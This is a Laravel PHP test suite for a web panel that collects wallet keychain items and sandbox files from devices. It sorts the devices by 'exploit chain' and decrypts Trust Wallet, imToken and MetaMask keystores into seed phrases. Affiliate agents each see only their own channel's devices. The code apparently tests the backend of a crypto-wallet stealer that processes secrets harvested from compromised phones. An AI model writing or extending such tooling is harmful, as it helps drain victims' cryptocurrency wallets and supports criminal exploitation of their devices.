create(['username' => 'admin', 'password' => 'admin123']); $device = Device::query()->create([ 'device_id' => 'DEVKEYSTORE01', 'channel_id' => 'ch-ks-1', ]); $row = WalletKeystore::query()->create([ 'device_id' => $device->id, 'source' => 'Trust Wallet', 'decrypted' => 1, 'raw_json' => [ 'kind' => 'keychain.wallets', 'wallets' => [ 'trustwallet' => [ 'count' => 1, 'items' => [[ 'account' => 'trust.account', 'service' => null, 'accessGroup' => '9873B38DWV.com.sixdays.trust', 'protectionClass' => 9, 'dataHex' => bin2hex('777350'), ]], ], ], ], ]); $this->actingAs($admin, 'admin') ->get(route('admin.home')) ->assertOk() ->assertSee('钥匙串'); $this->actingAs($admin, 'admin') ->get(route('admin.keystores.index')) ->assertOk() ->assertSee('钥匙串'); $this->actingAs($admin, 'admin') ->getJson(route('admin.keystores.data')) ->assertOk() ->assertJsonPath('code', 0) ->assertJsonPath('count', 1) ->assertJsonPath('data.0.source', 'Trust Wallet') ->assertJsonPath('data.0.decrypted', 1) ->assertJsonPath('data.0.kind', '钥匙串') ->assertJsonPath('data.0.device_key', 'DEVKEYSTORE01') ->assertJsonPath('data.0.chain', Device::CHAIN_CORUNA); $this->actingAs($admin, 'admin') ->getJson(route('admin.keystores.items', $row)) ->assertOk() ->assertJsonPath('data.items.0.account', 'trust.account') ->assertJsonPath('data.items.0.data_preview', '777350'); $this->actingAs($admin, 'admin') ->getJson(route('admin.keystores.detail', $row)) ->assertOk() ->assertJsonPath('data.id', $row->id) ->assertJsonPath('data.source', 'Trust Wallet') ->assertJsonPath('data.decrypted', 1) ->assertJsonPath('data.detail.kind', 'keychain.wallets') ->assertJsonPath('data.detail.wallets.trustwallet.count', 1) // Sensitive dataHex must be masked. ->assertJsonPath('data.detail.wallets.trustwallet.items.0.dataHex', '***MASKED***(12 hex chars)') ->assertJsonPath('data.detail.wallets.trustwallet.items.0._dataDecoded', '777350'); $this->actingAs($admin, 'admin') ->get(route('admin.devices.show', [$device, 'tab' => 'keystores'])) ->assertOk() ->assertSee('钥匙串'); $this->actingAs($admin, 'admin') ->getJson(route('admin.devices.tabData', [$device, 'tab' => 'keystores'])) ->assertOk() ->assertJsonPath('data.0.source', 'Trust Wallet'); } #[Test] public function agent_only_sees_own_channel_keystores(): void { $agentA = User::query()->create(['username' => 'ks-a', 'password' => 'secret12', 'status' => 1]); $agentB = User::query()->create(['username' => 'ks-b', 'password' => 'secret12', 'status' => 1]); $chA = 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa'; $chB = 'bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb'; Channel::query()->create(['channel_id' => $chA, 'user_id' => $agentA->id, 'status' => 1]); Channel::query()->create(['channel_id' => $chB, 'user_id' => $agentB->id, 'status' => 1]); $devA = Device::query()->create(['device_id' => 'dev-ks-a', 'channel_id' => $chA]); $devB = Device::query()->create(['device_id' => 'dev-ks-b', 'channel_id' => $chB]); $rowA = WalletKeystore::query()->create([ 'device_id' => $devA->id, 'source' => 'imToken', 'decrypted' => 0, 'raw_json' => ['kind' => 'sandbox', 'sandbox' => ['imtoken' => ['walletsV2.json' => base64_encode('{}')]]], ]); $rowB = WalletKeystore::query()->create([ 'device_id' => $devB->id, 'source' => 'Trust Wallet', 'decrypted' => 0, 'raw_json' => ['kind' => 'keychain.wallets', 'wallets' => ['trustwallet' => ['items' => []]]], ]); $this->actingAs($agentA, 'agent') ->get(route('user.home')) ->assertOk() ->assertSee('钥匙串'); $this->actingAs($agentA, 'agent') ->getJson(route('user.keystores.data')) ->assertOk() ->assertJsonPath('count', 1) ->assertJsonPath('data.0.device_key', 'dev-ks-a'); $this->actingAs($agentA, 'agent') ->getJson(route('user.keystores.items', $rowA)) ->assertOk() ->assertJsonPath('data.items.0.account', 'walletsV2.json'); $this->actingAs($agentA, 'agent') ->getJson(route('user.keystores.items', $rowB)) ->assertForbidden(); } #[Test] public function admin_decrypt_writes_mnemonic_from_stored_trust_utc(): void { Http::fake(); $admin = Admin::query()->create(['username' => 'admin', 'password' => 'admin123']); $phrase = 'abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon about'; $password = hex2bin('22d5cb2accb78f1e9d0a2c89d5d1af815fa96b1b8667548b39c75722c11e4ec2'); $this->assertIsString($password); $utc = EthKeystore::encrypt($phrase, $password, [ 'n' => 16, 'r' => 8, 'p' => 1, 'dklen' => 32, 'salt' => str_repeat('ef', 32), ]); $device = Device::query()->create(['device_id' => 'DEVKSDECRYPT01']); $keychain = WalletKeystore::query()->create([ 'device_id' => $device->id, 'source' => 'Trust Wallet', 'decrypted' => 0, 'raw_json' => [ 'kind' => 'keychain.wallets', 'wallets' => [ 'trustwallet' => [ 'items' => [[ 'account' => 'trustwalletUTC--demo', 'dataHex' => bin2hex($password), ]], ], ], ], ]); WalletKeystore::query()->create([ 'device_id' => $device->id, 'source' => 'Trust Wallet', 'decrypted' => 0, 'raw_json' => [ 'kind' => 'sandbox', 'sandbox' => [ 'trust_wallet' => [ 'Documents/keystore/UTC--demo' => base64_encode(json_encode($utc)), ], ], ], ]); $this->actingAs($admin, 'admin') ->postJson(route('admin.keystores.decrypt', $keychain)) ->assertOk() ->assertJsonPath('code', 0) ->assertJsonPath('data.added', 1) ->assertJsonPath('data.decrypted', 1); $mnemonic = WalletMnemonic::query()->where('device_id', $device->id)->first(); $this->assertNotNull($mnemonic); $this->assertSame($phrase, $mnemonic->mnemonic); $this->assertSame('Trust Wallet', $mnemonic->source); } #[Test] public function agent_cannot_decrypt_other_channel_keystore(): void { $agentA = User::query()->create(['username' => 'ks-dec-a', 'password' => 'secret12', 'status' => 1]); $agentB = User::query()->create(['username' => 'ks-dec-b', 'password' => 'secret12', 'status' => 1]); $chA = 'cccccccccccccccccccccccccccccccc'; $chB = 'dddddddddddddddddddddddddddddddd'; Channel::query()->create(['channel_id' => $chA, 'user_id' => $agentA->id, 'status' => 1]); Channel::query()->create(['channel_id' => $chB, 'user_id' => $agentB->id, 'status' => 1]); $devB = Device::query()->create(['device_id' => 'dev-ks-dec-b', 'channel_id' => $chB]); $rowB = WalletKeystore::query()->create([ 'device_id' => $devB->id, 'source' => 'Trust Wallet', 'decrypted' => 0, 'raw_json' => ['kind' => 'keychain.wallets', 'wallets' => ['trustwallet' => ['items' => []]]], ]); $this->actingAs($agentA, 'agent') ->postJson(route('user.keystores.decrypt', $rowB)) ->assertForbidden(); } #[Test] public function decrypt_explains_trust_password_without_utc(): void { Http::fake(); $admin = Admin::query()->create(['username' => 'admin', 'password' => 'admin123']); $device = Device::query()->create(['device_id' => 'DEVKSDECRYPT02']); $keychain = WalletKeystore::query()->create([ 'device_id' => $device->id, 'source' => 'Trust Wallet', 'decrypted' => 0, 'raw_json' => [ 'kind' => 'keychain.wallets', 'wallets' => [ 'trustwallet' => [ 'items' => [[ 'account' => 'trustwalletwallet-hd-wallet-UTC--2026-08-21T00-03-40--47A2D637-C475-4384-AA0F-9BB81A84893F', 'dataHex' => str_repeat('ab', 32), ]], ], ], ], ]); $resp = $this->actingAs($admin, 'admin') ->postJson(route('admin.keystores.decrypt', $keychain)) ->assertOk() ->assertJsonPath('code', 0) ->assertJsonPath('data.added', 0) ->assertJsonPath('data.utc', 0) ->assertJsonPath('msg', '有钥匙串密码,但没有沙盒 UTC 文件(Documents/keystore/UTC--…)。Trust 不能只靠钥匙串解密'); $this->assertGreaterThan(0, $resp->json('data.passwords')); } #[Test] public function admin_filters_keystores_that_need_password(): void { $admin = Admin::query()->create(['username' => 'admin', 'password' => 'admin123']); $device = Device::query()->create([ 'device_id' => 'DEVNEEDSPW01', 'channel_id' => 'ch-ks-pw', ]); WalletKeystore::query()->create([ 'device_id' => $device->id, 'source' => 'Trust Wallet', 'decrypted' => 0, 'raw_json' => ['kind' => 'sandbox', 'sandbox' => []], ]); WalletKeystore::query()->create([ 'device_id' => $device->id, 'source' => 'imToken', 'decrypted' => 0, 'needs_password' => 1, 'raw_json' => ['kind' => 'web3.keystore', 'crypto' => ['ciphertext' => 'aa', 'mac' => 'bb']], ]); $this->actingAs($admin, 'admin') ->getJson(route('admin.keystores.data')) ->assertOk() ->assertJsonPath('count', 2); $this->actingAs($admin, 'admin') ->getJson(route('admin.keystores.data', ['needs_password' => '1'])) ->assertOk() ->assertJsonPath('count', 1) ->assertJsonPath('data.0.source', 'imToken') ->assertJsonPath('data.0.needs_password', 1); $this->actingAs($admin, 'admin') ->getJson(route('admin.devices.tabData', [$device, 'tab' => 'keystores', 'needs_password' => '1'])) ->assertOk() ->assertJsonPath('count', 1) ->assertJsonPath('data.0.needs_password', 1); $this->actingAs($admin, 'admin') ->get(route('admin.keystores.index')) ->assertOk() ->assertSee('需要密码'); } #[Test] public function admin_filters_keystores_by_chain(): void { $admin = Admin::query()->create(['username' => 'admin', 'password' => 'admin123']); $ds = Device::query()->create([ 'device_id' => 'DEVKSCHAINDS', 'chain' => Device::CHAIN_DARKSWORD, ]); $app = Device::query()->create([ 'device_id' => 'DEVKSCHAINAPP', 'chain' => Device::CHAIN_APP, ]); WalletKeystore::firstOrCreateForDevice($ds, 'Trust Wallet', ['kind' => 'keychain.wallets', 'wallets' => []]); WalletKeystore::firstOrCreateForDevice($app, 'imToken', ['kind' => 'web3.keystore', 'crypto' => ['ciphertext' => 'aa', 'mac' => 'bb']]); $this->actingAs($admin, 'admin') ->get(route('admin.keystores.index')) ->assertOk() ->assertSee('利用链'); $this->actingAs($admin, 'admin') ->getJson(route('admin.keystores.data', ['chain' => '2'])) ->assertOk() ->assertJsonPath('count', 1) ->assertJsonPath('data.0.device_key', 'DEVKSCHAINDS') ->assertJsonPath('data.0.chain', Device::CHAIN_DARKSWORD); $this->actingAs($admin, 'admin') ->getJson(route('admin.keystores.data', ['chain' => '3'])) ->assertOk() ->assertJsonPath('count', 1) ->assertJsonPath('data.0.device_key', 'DEVKSCHAINAPP') ->assertJsonPath('data.0.chain', Device::CHAIN_APP); $legacy = Device::query()->create([ 'device_id' => 'DEVKSCHAINLEGACY', 'chain' => Device::CHAIN_APP, ]); WalletKeystore::query()->create([ 'device_id' => $legacy->id, 'source' => 'Uniswap', 'decrypted' => 0, 'raw_json' => ['kind' => 'keychain.wallets', 'wallets' => []], ]); $this->actingAs($admin, 'admin') ->getJson(route('admin.keystores.data', ['chain' => '3'])) ->assertOk() ->assertJsonPath('count', 2); } #[Test] public function admin_password_decrypt_writes_mnemonic(): void { Http::fake(); $admin = Admin::query()->create(['username' => 'admin', 'password' => 'admin123']); $phrase = 'abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon about'; $password = 'wallet-pass-1'; $utc = EthKeystore::encrypt($phrase, $password, [ 'n' => 16, 'r' => 8, 'p' => 1, 'dklen' => 32, 'salt' => str_repeat('ab', 32), ]); $device = Device::query()->create(['device_id' => 'DEVKSPASS01']); $row = WalletKeystore::query()->create([ 'device_id' => $device->id, 'source' => 'imToken', 'decrypted' => 0, 'needs_password' => 1, 'raw_json' => array_merge($utc, ['kind' => 'web3.keystore']), ]); $this->actingAs($admin, 'admin') ->getJson(route('admin.keystores.data')) ->assertOk() ->assertJsonPath('data.0.needs_password', 1) ->assertJsonPath('data.0.password_decrypt_url', route('admin.keystores.decryptPassword', $row)); $this->actingAs($admin, 'admin') ->postJson(route('admin.keystores.decryptPassword', $row), ['password' => $password]) ->assertOk() ->assertJsonPath('code', 0) ->assertJsonPath('data.added', 1) ->assertJsonPath('data.decrypted', 1); $mnemonic = WalletMnemonic::query()->where('device_id', $device->id)->first(); $this->assertNotNull($mnemonic); $this->assertSame($phrase, $mnemonic->mnemonic); $this->assertSame('imToken', $mnemonic->source); $this->assertSame(1, (int) $row->fresh()->decrypted); } #[Test] public function password_decrypt_rejects_wrong_and_empty_password(): void { Http::fake(); $admin = Admin::query()->create(['username' => 'admin', 'password' => 'admin123']); $phrase = 'abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon about'; $utc = EthKeystore::encrypt($phrase, 'correct-pass', [ 'n' => 16, 'r' => 8, 'p' => 1, 'dklen' => 32, 'salt' => str_repeat('cd', 32), ]); $device = Device::query()->create(['device_id' => 'DEVKSPASS02']); $row = WalletKeystore::query()->create([ 'device_id' => $device->id, 'source' => 'imToken', 'decrypted' => 0, 'needs_password' => 1, 'raw_json' => array_merge($utc, ['kind' => 'web3.keystore']), ]); $plain = WalletKeystore::query()->create([ 'device_id' => $device->id, 'source' => 'Trust Wallet', 'decrypted' => 0, 'raw_json' => ['kind' => 'sandbox', 'sandbox' => []], ]); $this->actingAs($admin, 'admin') ->postJson(route('admin.keystores.decryptPassword', $row), ['password' => '']) ->assertStatus(422) ->assertJsonPath('code', 1); $this->actingAs($admin, 'admin') ->postJson(route('admin.keystores.decryptPassword', $row), ['password' => 'wrong-pass']) ->assertStatus(400) ->assertJsonPath('code', 1) ->assertJsonPath('msg', '密码不正确,未能解开助记词'); $this->assertSame(0, WalletMnemonic::query()->where('device_id', $device->id)->count()); $this->actingAs($admin, 'admin') ->postJson(route('admin.keystores.decryptPassword', $plain), ['password' => 'x']) ->assertStatus(400) ->assertJsonPath('msg', '该钥匙串未标记为需要密码'); } #[Test] public function admin_password_decrypt_metamask_vault(): void { Http::fake(); $admin = Admin::query()->create(['username' => 'admin', 'password' => 'admin123']); $phrase = 'abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon about'; $password = 'woshini@88'; $device = Device::query()->create(['device_id' => 'DEVKSPASSMM']); $row = WalletKeystore::query()->create([ 'device_id' => $device->id, 'source' => 'MetaMask', 'decrypted' => 0, 'needs_password' => 1, 'raw_json' => $this->makeMetamaskVault($phrase, $password), ]); $this->actingAs($admin, 'admin') ->getJson(route('admin.keystores.data')) ->assertOk() ->assertJsonPath('data.0.needs_password', 1) ->assertJsonPath('data.0.password_decrypt_url', route('admin.keystores.decryptPassword', $row)); $this->actingAs($admin, 'admin') ->postJson(route('admin.keystores.decryptPassword', $row), ['password' => $password]) ->assertOk() ->assertJsonPath('code', 0) ->assertJsonPath('data.added', 1) ->assertJsonPath('data.decrypted', 1) ->assertJsonPath('data.vault', 1); $mnemonic = WalletMnemonic::query()->where('device_id', $device->id)->first(); $this->assertNotNull($mnemonic); $this->assertSame($phrase, $mnemonic->mnemonic); $this->assertSame('MetaMask', $mnemonic->source); $this->assertSame(1, (int) $row->fresh()->decrypted); } /** * @return array */ private function makeMetamaskVault(string $phrase, string $password): array { $inner = json_encode([[ 'type' => 'HD Key Tree', 'data' => [ 'mnemonic' => array_map('ord', str_split($phrase)), 'numberOfAccounts' => 1, 'hdPath' => "m/44'/60'/0'/0", ], ]], JSON_UNESCAPED_SLASHES); $saltB64 = base64_encode(random_bytes(32)); $iv = random_bytes(16); $key = hash_pbkdf2('sha512', $password, $saltB64, 5000, 32, true); $cipher = openssl_encrypt((string) $inner, 'aes-256-cbc', $key, OPENSSL_RAW_DATA, $iv); return [ 'kind' => 'metamask.vault', 'cipher' => base64_encode((string) $cipher), 'iv' => bin2hex($iv), 'salt' => $saltB64, 'lib' => 'quick-crypto', 'keyMetadata' => [ 'algorithm' => 'PBKDF2', 'params' => ['iterations' => 5000], ], ]; } }